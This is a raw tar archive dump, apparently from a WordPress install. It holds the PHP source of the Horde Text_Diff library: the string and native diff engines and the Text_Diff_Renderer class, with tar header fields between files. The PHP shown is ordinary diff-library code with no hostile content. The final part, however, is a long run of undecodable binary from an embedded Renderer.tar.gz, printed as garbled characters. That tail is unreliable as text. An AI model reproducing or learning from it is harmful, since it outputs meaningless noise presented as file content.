                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             string.php                                                                                          0000644                 00000020233 15212004202 0006547 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     native.php                                                                                          0000644                 00000037261 15212004202 0006540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Renderer.php.tar                                                                                    0000644                 00000021000 15212004206 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer.php                                        0000644                 00000015226 15212004206 0020130 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer.tar.gz                                                                                     0000644                 00000312141 15212004206 0007433 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	`SE8C*"˥Ґ4{t4MtI$MRYn6M4ITPDQQPAQEpA[WpCQAEq]A\of}<49s̙3g̜9uxg~#LX* "@"H@P 	0?LGOg#/ixS5൝#ޟy\D}I@tɟz>w4,@|~]nmz75LJ:˪1oޖq9e#nyHzam9s藻_GNi-,3֯?𥋦2>0yך;oۊ/"`!7]gO~oMu-JuOϛ_NcğM7>7{
n0=>}HWqސu7|PXD5awL̿{܍m'ޒeޮ{v<bQOxU#Vxw{:d5.aIƾev͸D3xK9O~S:ȵ_4۵9h6]7g+7έ<tO-~'.Ri{W0Æ_{Q>TIvt2}{w߹s?zprTA%^c+yҊ/fosEfy3yy?|oYm"nez\c~l׵~*?-34sZ,pNCɌ#)yB=g89+oy2rG^ڋE<mCOlXr]0s鳗K1Y?g-(?%dUݦu=`3X..{{q:=uGb/4.,)e/m{-kKv<+!OQˋ~8ɵ;!ӴseSow. ⻌Q|vb_6{-h̨-GF]۪Y~9'ĭWysNּO^ݵ٧GWJ֞qK>?miqYۻ__~'U3@z+>+v?r;>i{W}vmQlO=6#rVϟEk}xM
onW'N|Q'MU-E_;59k+n{roсAN	[~nOݛ.HL7}7g=#}*̿JoiHڄUֿ!lW%ܜqn+"/DNɣw'4}|kPy%^X{MktŁكrŏ.ͱu/slyDݫS_<<ࡉU_uo[z-C-ЇҾ̫PŊe;O87|߼qG#to=\w_.x`[MV<:.6^6.?v{m	*ݒjy}K~?D+f')\qm{N+6\j	m+FxhQxӱ%s5mo#?b9%pn*y{Dm/q_}<gvW[0nG5/ٱk0[2SSrƩ?uxͷ3g[pk#.fզ?5}6gi_ΞoQY-:qdm+Or7T8]-87U^!w{_KG&d3[^Y~i=91o^3VOt"Z$LkM䕪lU7-_k'~gUd掣+F*f?'_^:ŅS޸[3W2˪_y}㓃q\rC}<Y.xQn4UraW?uN~o*8<~}t9У'jtU2Տc?\A4
W~5?\QfK{ul{ݕx߮>~zZgVpf#[Y]7jTl,Z|ӊ'/O_iߜ
ӫ\vkܗ.;\<ç>#/]qKr?>7eWnYвsSܚFv}N7?ud<\QAh&}}_+s҇>yGo</'=/ݿe_>lWpZfy66=Sm<p磌mC;93=@s9/~rdN94yߗ/{[|k-!׭pj,XB܀MP_n붗0UmGFmmXz캁c_<♻؎_wLrea2/NuF裌Z;pCڏ;1yG7}uԫnū~{΂QS-Z_煯xM:GzQ;gخZ->wkwEFߗ~{~}k74,Hw7m]}بUSEEϾKM{iL&o;n8-o)"m*OFoN^uKOZZks,y'&=a%vO8mc=7\9/˾4MkΤyiͭ!/|C~ծndˡ6 xglX&81e+Wd˙8]^g>'kmyE	~yϣLn;be?o=pu*˹c[2$y2W>nWdd\O,Z>_0GB>S'zz7^.bMfJYNTv{K-+|s<歷?Nf4#uJ%^
3UoZMM%=S؋N_9ЛW?{~3wڝOߚVw8/!XZ0tg^dOc?*9yC&{=Lm'm?57;%==2yљml4g[x׽;whţӾЦ?{5l:uQu毓~K\xW	ǟsCMz8zaͽz39OeQy]VsD,>u߻<xhw.w+?~T<Gs^؛?EDOGs쳻Wz\R8SzpKE^Sy`֜ΏoڜU[nzZnR5»owml4J{wd_JOzUUxpbYQz3ֱM;]6ep
׷_d&ʓי~i8'x5ori?Qm+j>|u?=,7_nW2Q}G/쯹wMHâ~6ᰱ/]|tKU?Z]}sjUW9">?ݢ_4Ps|v-{[ytu\4^|Zrnq.qg_o~]l8o+%7]}\Г\`~o^l;ĂOXx:E'޿-~G>8~P8_;`ޮ+84噁̾<z׃[-_+Pyy9Kҩn<ss/[p璇2;jȺA߿ۊn4x<o{~{a:m9V᏿|7QvsHpa|Omj3ٺ&[>O ~3c6?{CizHC/q)|/zv3/~T+?o+]D?!Z{C.k9°!O,s;)+3nP8]{u;~nxl町w):GߠSk߿jmG:81˟mfѬ?QvLr@sm(Y+O9ߌ:qksK.hK?{_&w]VX2hEʐʉ7x巋F:t#썋:<[k[yɟ5GxrZ##Ot<~aiP}/	6˭OK<n[_y;ԅOM3~^W>t1x«y_,r3k?^:uU]zW5m8Od?hy{ֳOګou|?OSir᷻.o4y{R0kqc_>?]k|5wc[+oh%[/uƓyݵS~qFY/~4aF;wBq7,П|Q<vj*BQz?d+qbh7W߳g'w4~ߘ5o|U:0Oss^Et{:d]ݒ^ik9k~vට7I[2s틥|__ohd%W~Mn|a;tܿ;/8}S¹l=-gwIv2hVuOݤ{hʋL?歊-xɢ{^Wd՝\=CvVP
